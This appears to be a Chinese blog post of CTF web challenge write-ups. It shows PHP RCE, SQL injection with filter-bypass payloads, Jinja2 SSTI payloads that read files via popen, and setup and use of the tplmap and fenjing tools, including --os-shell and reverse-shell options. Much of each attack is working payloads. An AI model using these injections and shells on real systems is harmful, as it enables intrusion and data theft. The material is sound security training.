进入环境是一个转化框和运行框
?既然是rce还有运行框就只用输入命令等待回显就行
?paylaod:
system(‘ls’);
system(‘pwd’);
system(‘find / -name flag*’);
system(‘cat /flag’);
得到flag
RCE总结:RCE总结-CSDN博客
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
进入环境,有一个等式但是一直到不了20
?用F12和Ctrl+U也不能查看到源代码,没有反应
那么就用view-source:http://node5.anna.nssctf.cn:28805/
发现
./js/1.js
点击访问,得到
?解码花括号里的内容得到
?接着访问改文件名NsScTf.php,得到真正的源码
?接着尝试访问hint2.php
代码审计:
- 通过?
include("flag.php")
?引入了一个名为 “flag.php” 的文件。这个文件很有可能包含了标志信息。- 通过?
class nss
?定义了一个名为 “nss” 的类,其中具有一个静态方法 “ctf”,这个方法通过?include("./hint2.php")
?引入了另一个名为 “hint2.php” 的文件。这个类的作用目前不明确,但可以猜测 “ctf” 方法可能会与 “hint2.php” 文件相关。- 通过?
isset($_GET['p'])
?判断是否接收到了名为 “p” 的 GET 参数。如果存在 “p” 参数,则会根据参数值调用相应的函数。- 在调用函数之前,通过?
preg_match()
?函数检查参数值中是否包含字符 “n” 或 “c”。如果包含了这些字符,则会输出 “no” 并停止程序执行。- 最后,如果未接收到 “p” 参数,则会输出当前文件的源代码。
- 源码提示:与get相似的另一种请求协议是什么呢,既然用跟get相似的协议所以这里就运用post。
数组索引是用于标识和访问数组元素的唯一标识符。它们通常是整数值,用于标识元素在数组中的位置。
在大多数编程语言中,数组的索引从 0 开始,依次递增。例如,对于一个长度为 n 的数组,索引范围通常是从 0 到 n-1,共有 n 个元素可以访问。
下面是一个示例数组及其索引示意图:
数组:[12, 34, 56, 78, 90]
索引: 0 1 2 3 4
在示例中,数组包含五个元素,使用索引可以访问和操作这些元素。例如,要访问数组中的第二个元素(34),我们使用索引 1(因为索引是从 0 开始计数)。同样,要访问数组中的第四个元素(78),我们使用索引 3。
?payload:
p[0]=nss&p[1]=ctf
?改成nss2
payload:
p[0]=nss2&p[1]=ctf
?但是没有出现flag,最后看了源码,flag是藏在源码中
进入环境,提示用post传参
尝试一下get,不能用那么就用post
?简单传一个1,没想到是flag,但是是假的
?开始进行sql注入,查库查表查字段爆数据
但是
发现or和空格都无回显,union也没有
空格可以用/**/来代替,union可以双写绕过
?开始注入
nss=2'/**/ununionion/**/select/**/1,2,3;#
?查库:
nss=2'/**/ununionion/**/select/**/1,database(),3;#
查表:
nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#
查字段:
nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#
?查数据:
nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#
得到flag
NSSCTF{636b87ae-6445-4824-8598-7c264e9a6728}
进入环境
检测ssti注入,很多ssti的参数都是name
?name={{7*7}}
?
?没有过滤
找flag
payload:
?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
拿flag
?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
?但是这题用fenjing却跑不出来
虽然fenjing不能用,但是tplmap可以用,要先安装好tplmap
直接连接注入,成功后查看文件,再打开flag
python2 ./tplmap.py -u 'http://node5.anna.nssctf.cn:28389/?name=/' --os-shell
?
得到flag
NSSCTF{61f84712-a0c6-4335-b9a2-476bc0e629d6}
kali2020版及以上, 输入python2命令会执行python2, python3也存在。
但pip默认是pip3, 而我们需要的是pip2, 所以我们需要先安装pip2
# 进入家目录
cd
#建立目录ins-pip2
mkdir ins-pip2
#下载pip2安装脚本
wget https://bootstrap.pypa.io/pip/2.6/get-pip.py
#python2执行 需要sudo权限
sudo python2 get-pip.py
#升级pip2
sudo pip2 install --upgrade pip
#安装pip2扩展工具,不然后面安装还是报错
sudo pip2 install --upgrade setuptools
## 2 tplmap的安装和使用
tpl是用python2编写的,报错一般是使用py3
以下操作均在kali 2020的环境下操作
git clone https://github.com/epinna/tplmap
cd tplmap
sudo pip2 install -r requirements.txt
#探测注入点
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag'
#获取shell
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
python2 ./tplmap.py -u 'http://node5.anna.nssctf.cn:28389/?name=/' --os-shell
//name是参数,具体题目中指定的传入参数
//--os-shell 是命令,具体看各个命令的用法
在安装好工具使用的时候,常常会出现
[!][tplmap] Exiting: 'bool' object has no attribute 'replace'
解决办法:删除tplmap/core/checks.py文件中Twig条目,保存退出。
Twig就在此列表中:
plugins = [
??? Smarty,
??? Mako,
??? Python,
??? Tornado,
??? Jinja2,
??? Freemarker,
??? Velocity,
??? Slim,
??? Erb,
??? Pug,
??? Nunjucks,
??? Dot,
??? Dust,
??? Marko,
??? Javascript,
??? Php,
??? Ruby,
??? Ejs
]
?注意打开更改文件内容的时候要以root的身份打开,不然权限不够不可以成功更改,将Twig删除后就可以成功运行tplmqp
如果出现
[!][checks] Tested parameters appear to be not injectable.
[!][checks] Tested parameters appear to be not injectable.
就使用其他命令注入,但是参数后面的"="一定不能少,少了"="依旧会报错。
进入环境
?先用tplmap跑一遍,但是不知道参数是什么,先用name跑
python2 ./tplmap.py -u 'http://node5.anna.nssctf.cn:28944/?name=' --os-shell
结果该参数无法注入
?尝试用fenjing跑一遍
python -m fenjing scan --url http://node5.anna.nssctf.cn:28944/
这次跑成功了
?ls /
查看文件
?cat /flag
查看flag
?得到flag
NSSCTF{159a9656-a3f2-4ed2-97e3-276a8d4ead88}
焚靖(fenjing)是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口。?
tplmap 工具支持检测和利用多种模板引擎的注入漏洞,包括但不限于以下常见模板引擎:
Jinja2:Jinja2 是一个流行的Python模板引擎,常用于构建Web应用程序。tplmap 可以检测和利用 Jinja2 模板注入漏洞。
Django:Django 是一个使用 Python 编写的高级 Web 框架,tplmap 可以检测和利用 Django 模板注入漏洞。
Mako:Mako 是一个用于 Python 的模板引擎,常用于构建动态内容。tplmap 可以检测和利用 Mako 模板注入漏洞。
Tornado:Tornado 是一个可扩展的 Python Web 框架,tplmap 可以检测和利用 Tornado 模板注入漏洞。
Freemarker:Freemarker 是一个使用 Java 编写的模板引擎,tplmap 可以检测和利用 Freemarker 模板注入漏洞。
Velocity:Velocity 是一个用于 Java 的模板引擎框架,tplmap 可以检测和利用 Velocity 模板注入漏洞。
Smarty:Smarty 是一个用于 PHP 的模板引擎,tplmap 可以检测和利用 Smarty 模板注入漏洞。
AngularJS:AngularJS 是一个流行的 JavaScript 框架,tplmap 可以通过利用 AngularJS 的模板注入漏洞来执行任意代码。
Handlebars:Handlebars 是一个 JavaScript 的语义化模板引擎,tplmap 可以检测和利用 Handlebars 模板注入漏洞。
ERB:ERB(Embedded RuBy)是一个用于 Ruby 的嵌入式模板引擎,tplmap 可以检测和利用 ERB 模板注入漏洞。
ASP.NET Razor:ASP.NET Razor 是一个用于 ASP.NET 的页面模板引擎,tplmap 可以检测和利用 ASP.NET Razor 模板注入漏洞。
?